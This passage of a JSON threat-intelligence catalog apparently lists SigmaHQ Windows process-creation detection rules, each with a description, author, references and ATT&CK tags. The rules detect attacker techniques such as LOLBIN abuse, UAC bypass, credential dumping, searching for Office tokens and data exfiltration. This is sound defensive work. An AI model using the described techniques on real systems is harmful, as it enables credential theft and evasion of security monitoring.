defense evasion activity in which format.com is used to load malicious DLL files or other programs", "meta": { "author": "Florian Roth", "creation_date": "2022/01/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_format.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/wdormann/status/1478011052130459653?s=20", "https://twitter.com/0gtweet/status/1477925112561209344", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_format.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "9fb6b26e-7f9e-4517-a48b-8cac4a1b6c60", "value": "Format.com FileSystem LOLBIN" }, { "description": "Detects possible password spraying attempts using Dsacls", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/20", "falsepositive": [ "Legitimate use of dsacls to bind to an LDAP session" ], "filename": "proc_creation_win_dsacls_password_spray.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone", "https://ss64.com/nt/dsacls.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml" ], "tags": [ "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bac9fb54-2da7-44e9-988f-11e9a5edbc0c", "value": "Password Spraying Attempts Using Dsacls" }, { "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/09/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html", "https://nvd.nist.gov/vuln/detail/CVE-2021-26084", "https://github.com/h3v0x/CVE-2021-26084_Confluence", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml" ], "tags": [ "attack.initial_access", "attack.execution", "attack.t1190", "attack.t1059" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "245f92e3-c4da-45f1-9070-bc552e06db11", "value": "Atlassian Confluence CVE-2021-26084" }, { "description": "Detects potential DLL injection and execution using \"Tracker.exe\"", "meta": { "author": "Avneet Singh @v3t0_, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_tracker.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tracker.yml" ], "tags": [ "attack.defense_evasion", "attack.t1055.001" ] }, "related": [ { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "148431ce-4b70-403d-8525-fcc2993f29ea", "value": "Potential DLL Injection Or Execution Using Tracker.exe" }, { "description": "Detects WMIC executing \"process call create\" with suspicious calls to processes such as \"rundll32\", \"regsrv32\"...etc", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_wmic_proc_create.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://thedfirreport.com/2020/10/08/ryuks-return/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_proc_create.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3c89a1e8-0fba-449e-8f1b-8409d6267ec8", "value": "Suspicious WMIC Execution - ProcessCallCreate" }, { "description": "Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords", "meta": { "author": "Tim Rauch, Janantha Marasinghe", "creation_date": "2022/11/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_iis_service_account_password_dumped.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/microsoft-iis-service-account-password-dumped.html", "https://www.netspi.com/blog/technical/network-penetration-testing/decrypting-iis-passwords-to-break-out-of-the-dmz-part-2/", "https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_service_account_password_dumped.yml" ], "tags": [ "attack.credential_access", "attack.t1003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2d3cdeec-c0db-45b4-aa86-082f7eb75701", "value": "Microsoft IIS Service Account Password Dumped" }, { "description": "Detects usage of nimgrab, a tool bundled with the Nim programming framework, downloading a file. This can be normal behaviour on developer systems.", "meta": { "author": "frack113", "creation_date": "2022/08/28", "falsepositive": [ "Legitimate use of Nim on developer systems" ], "filename": "proc_creation_win_nimgrab.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nimgrab.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "74a12f18-505c-4114-8d0b-8448dd5485c6", "value": "Nimgrab File Download" }, { "description": "Detects the use of Advanced Port Scanner.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2021/12/18", "falsepositive": [ "Legitimate administrative use", "Tools with similar commandline (very rare)" ], "filename": "proc_creation_win_advanced_port_scanner.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20Port%20Scanner", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_port_scanner.yml" ], "tags": [ "attack.discovery", "attack.t1046", "attack.t1135" ] }, "uuid": "54773c5f-f1cc-4703-9126-2f797d96a69d", "value": "Advanced Port Scanner" }, { "description": "Detects uses of the SysInternals Procdump utility in which procdump or its output get renamed or a dump file is moved ot copied to a different name", "meta": { "author": "Florian Roth", "creation_date": "2022/01/11", "falsepositive": [ "Cases in which procdump just gets copied to a different directory without any renaming" ], "filename": "proc_creation_win_procdump_evasion.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1480785527901204481", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump_evasion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "79b06761-465f-4f88-9ef2-150e24d3d737", "value": "Procdump Evasion" }, { "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", "meta": { "author": "Florian Roth", "creation_date": "2021/08/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_mailboxexport_share.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://youtu.be/5mqid-7zp8k?t=2481", "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mailboxexport_share.yml" ], "tags": [ "attack.exfiltration" ] }, "uuid": "889719ef-dd62-43df-86c3-768fb08dc7c0", "value": "Suspicious PowerShell Mailbox Export to Share" }, { "description": "Detects a when net.exe is called with a password in the command line", "meta": { "author": "Tim Shelton (HAWK.IO)", "creation_date": "2021/12/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_net_use_password_plaintext.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use_password_plaintext.yml" ], "tags": "No established tags" }, "uuid": "d4498716-1d52-438f-8084-4a603157d131", "value": "Password Provided In Command Line Of Net.exe" }, { "description": "Detects the usage of Sysinternals Tools due to accepteula option being seen in the command line.", "meta": { "author": "Markus Neis", "creation_date": "2017/08/28", "falsepositive": [ "Legitimate use of SysInternals tools", "Programs that use the same Registry Key" ], "filename": "proc_creation_win_sysinternals_eula_accepted.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Moti_B/status/1008587936735035392", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_eula_accepted.yml" ], "tags": [ "attack.resource_development", "attack.t1588.002" ] }, "related": [ { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7cccd811-7ae9-4ebe-9afd-cb5c406b824b", "value": "Usage of Sysinternals Tools" }, { "description": "Detects the creation of a schtask that executes a file from C:\\Users\\\\AppData\\Local", "meta": { "author": "pH-T, Nasreddine Bencherchali", "creation_date": "2022/03/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_schtasks_appdata_local_system.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_appdata_local_system.yml" ], "tags": [ "attack.execution", "attack.persistence", "attack.t1053.005", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c5c00f49-b3f9-45a6-997e-cfdecc6e1967", "value": "Suspicious Schtasks Execution AppData Folder" }, { "description": "Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_cleanmgr.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cleanmgr.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b697e69c-746f-4a86-9f59-7bfff8eab881", "value": "UAC Bypass Using Disk Cleanup" }, { "description": "dotnet.exe will execute any DLL and execute unsigned code", "meta": { "author": "Beyu Denis, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "System administrator Usage" ], "filename": "proc_creation_win_dotnet.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/", "https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/", "https://twitter.com/_felamos/status/1204705548668555264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dotnet.yml" ], "tags": [ "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d80d5c81-04ba-45b4-84e4-92eba40e0ad3", "value": "Dotnet.exe Exec Dll and Execute Unsigned Code LOLBIN" }, { "description": "Detects the import of a alternate datastream to the registry with regedit.exe.", "meta": { "author": "Oddvar Moe, Sander Wiebing, oscd.community", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_regedit_import_keys_ads.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml" ], "tags": [ "attack.t1112", "attack.defense_evasion" ] }, "uuid": "0b80ade5-6997-4b1d-99a1-71701778ea61", "value": "Imports Registry Key From an ADS" }, { "description": "Detects an executable in the users directory started from Microsoft Word, Excel, Powerpoint, Publisher or Visio", "meta": { "author": "Jason Lynch", "creation_date": "2019/04/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_office_spawn_exe_from_users_directory.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "sha256=23160972c6ae07f740800fa28e421a81d7c0ca5d5cab95bc082b4a986fbac57c", "https://blog.morphisec.com/fin7-not-finished-morphisec-spots-new-campaign", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawn_exe_from_users_directory.yml" ], "tags": [ "attack.execution", "attack.t1204.002", "attack.g0046", "car.2013-05-002" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aa3a6f94-890e-4e22-b634-ffdfd54792cc", "value": "MS Office Product Spawning Exe in User Dir" }, { "description": "Detects the creation of scheduled tasks in user session", "meta": { "author": "Florian Roth", "creation_date": "2019/01/16", "falsepositive": [ "Administrative activity", "Software installation" ], "filename": "proc_creation_win_susp_schtask_creation.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation.yml" ], "tags": [ "attack.execution", "attack.persistence", "attack.privilege_escalation", "attack.t1053.005", "attack.s0111", "car.2013-08-001" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "92626ddd-662c-49e3-ac59-f6535f12d189", "value": "Scheduled Task Creation" }, { "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/16", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_win_software_discovery.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/harleyQu1nn/AggressorScripts", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_software_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1518" ] }, "uuid": "e13f668e-7f95-443d-98d2-1816a7648a7b", "value": "Detected Windows Software Discovery" }, { "description": "In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool \"Mouse Lock\" as being used for both credential access and collection in security incidents.", "meta": { "author": "Cian Heasley", "creation_date": "2020/08/13", "falsepositive": [ "Legitimate uses of Mouse Lock software" ], "filename": "proc_creation_win_mouse_lock.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://sourceforge.net/projects/mouselock/", "https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mouse_lock.yml" ], "tags": [ "attack.credential_access", "attack.collection", "attack.t1056.002" ] }, "uuid": "c9192ad9-75e5-43eb-8647-82a0a5b493e3", "value": "Mouse Lock Credential Gathering" }, { "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument from suspicious paths", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.echotrail.io/insights/search/wusa.exe/", "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml" ], "tags": [ "attack.execution" ] }, "uuid": "c74c0390-3e20-41fd-a69a-128f0275a5ea", "value": "Wusa Extracting Cab Files From Suspicious Paths" }, { "description": "Detects the redirection of an alternate data stream (ADS) of / within a Windows command line session", "meta": { "author": "frack113", "creation_date": "2022/02/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_redirect_to_stream.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md#atomic-test-3---create-ads-command-prompt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_to_stream.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "70e68156-6571-427b-a6e9-4476a173a9b6", "value": "Cmd Stream Redirection" }, { "description": "Detects possible search for office tokens via CLI by looking for the string \"eyJ0eX\". This string is used as an anchor to look for the start of the JWT token used by office and similar apps.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/25", "falsepositive": [ "Legitimate command-lines containing the string mentioned in the command-line" ], "filename": "proc_creation_win_susp_office_token_search.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://mrd0x.com/stealing-tokens-from-office-applications/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_office_token_search.yml" ], "tags": [ "attack.credential_access", "attack.t1528" ] }, "related": [ { "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6d3a3952-6530-44a3-8554-cf17c116c615", "value": "Suspicious Office Token Search Via CLI" }, { "description": "A General detection for svchost.exe spawning rundll32.exe with command arguments like C:\\windows\\system32\\davclnt.dll,DavSetCookie.\nThis could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server).\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_webdav_client_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.html", "https://github.com/OTRF/detection-hackathon-apt29/issues/17", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_webdav_client_execution.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2dbd9d3d-9e27-42a8-b8df-f13825c6c3d5", "value": "Suspicious WebDav Client Execution" }, { "description": "Detects a suspicious call to the user32.dll function that locks the user workstation", "meta": { "author": "frack113", "creation_date": "2022/06/04", "falsepositive": [ "Scripts or links on the user desktop used to lock the workstation instead of Windows+L or the menu option" ], "filename": "proc_creation_win_susp_rundll32_user32_dll.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/2aef9c63-f944-4763-b3ef-81eee209d128/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_user32_dll.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "3b5b0213-0460-4e3f-8937-3abf98ff7dcc", "value": "Suspicious Workstation Locking via Rundll32" }, { "description": "Detects AnyDesk Remote Desktop silent installation. Which can be used by attackers to gain remote access.", "meta": { "author": "Ján Trenčanský", "creation_date": "2021/08/06", "falsepositive": [ "Legitimate deployment of AnyDesk" ], "filename": "proc_creation_win_anydesk_silent_install.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/TheDFIRReport/status/1423361119926816776?s=20", "https://support.anydesk.com/Automatic_Deployment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_silent_install.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "114e7f1c-f137-48c8-8f54-3088c24ce4b9", "value": "AnyDesk Silent Installation" }, { "description": "The Tasks folder in system32 and syswow64 are globally writable paths.\nAdversaries can take advantage of this and load or influence any script hosts or ANY .NET Application \nin Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr\n", "meta": { "author": "Sreeman", "creation_date": "2020/01/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_task_folder_evasion.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://gist.github.com/am0nsec/8378da08f848424e4ab0cc5b317fdd26", "https://twitter.com/subTee/status/1216465628946563073", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_task_folder_evasion.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.execution", "attack.t1574.002" ] }, "uuid": "cc4e02ba-9c06-48e2-b09e-2500cace9ae0", "value": "Tasks Folder Evasion" }, { "description": "Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/09/12", "falsepositive": [ "Legitimate usage of remote Powershell, e.g. for monitoring purposes." ], "filename": "proc_creation_win_remote_powershell_session_process.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_powershell_session_process.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.t1021.006" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "734f8d9b-42b8-41b2-bcf5-abaf49d5a3c8", "value": "Remote PowerShell Session Host Process (WinRM)" }, { "description": "Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/22", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_renamed_rundll32_dllregisterserver.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32_dllregisterserver.yml" ], "tags": [ "attack.execution" ] }, "uuid": "2569ed8c-1147-498a-9b8c-2ad3656b10ed", "value": "Renamed Rundll32 Execution Via DllRegisterServer" }, { "description": "Detects commands that temporarily turn off Volume Snapshots", "meta": { "author": "Florian Roth", "creation_date": "2021/01/28", "falsepositive": [ "Legitimate administration" ], "filename": "proc_creation_win_susp_volsnap_disable.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1354766164166115331", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_volsnap_disable.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "dee4af55-1f22-4e1d-a9d2-4bdc7ecb472a", "value": "Disabled Volume Snapshots" }, { "description": "The \"Trace log generation tool for Media Foundation Tools\" (Mftrace.exe) can be used to execute arbitrary binaries", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/09", "falsepositive": [ "Legitimate use for tracing purposes" ], "filename": "proc_creation_win_lolbin_mftrace.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mftrace.yml" ], "tags": [ "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3d48c9d3-1aa6-418d-98d3-8fd3c01a564e", "value": "Use of Mftrace.exe" }, { "description": "Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity", "meta": { "author": "Florian Roth", "creation_date": "2021/05/27", "falsepositive": [ "Possible but rare" ], "filename": "proc_creation_win_susp_rundll32_no_params.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.cobaltstrike.com/help-opsec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_no_params.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1775e15e-b61b-4d14-a1a3-80981298085a", "value": "Suspicious Rundll32 Without Any CommandLine Params" }, { "description": "Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)", "meta": { "author": "Florian Roth, Tim Shelton (fp werfault)", "creation_date": "2022/11/10", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sysmon_exploitation.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41120", "https://twitter.com/filip_dragovic/status/1590104354727436290", "https://twitter.com/filip_dragovic/status/1590052248260055041", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_exploitation.yml" ], "tags": "No established tags" }, "uuid": "6d1058a4-407e-4f3a-a144-1968c11dc5c3", "value": "Suspicious Sysmon as Execution Parent" }, { "description": "Detects a process memory dump performed by RdrLeakDiag.exe", "meta": { "author": "Cedric MAURUGEON", "creation_date": "2021/09/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_process_dump_rdrleakdiag.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.pureid.io/dumping-abusing-windows-credentials-part-1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rdrleakdiag.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "edadb1e5-5919-4e4c-8462-a9e643b02c4b", "value": "Process Dump via RdrLeakDiag.exe" }, { "description": "Detects specific process parameters as used by Mustang Panda droppers", "meta": { "author": "Florian Roth, 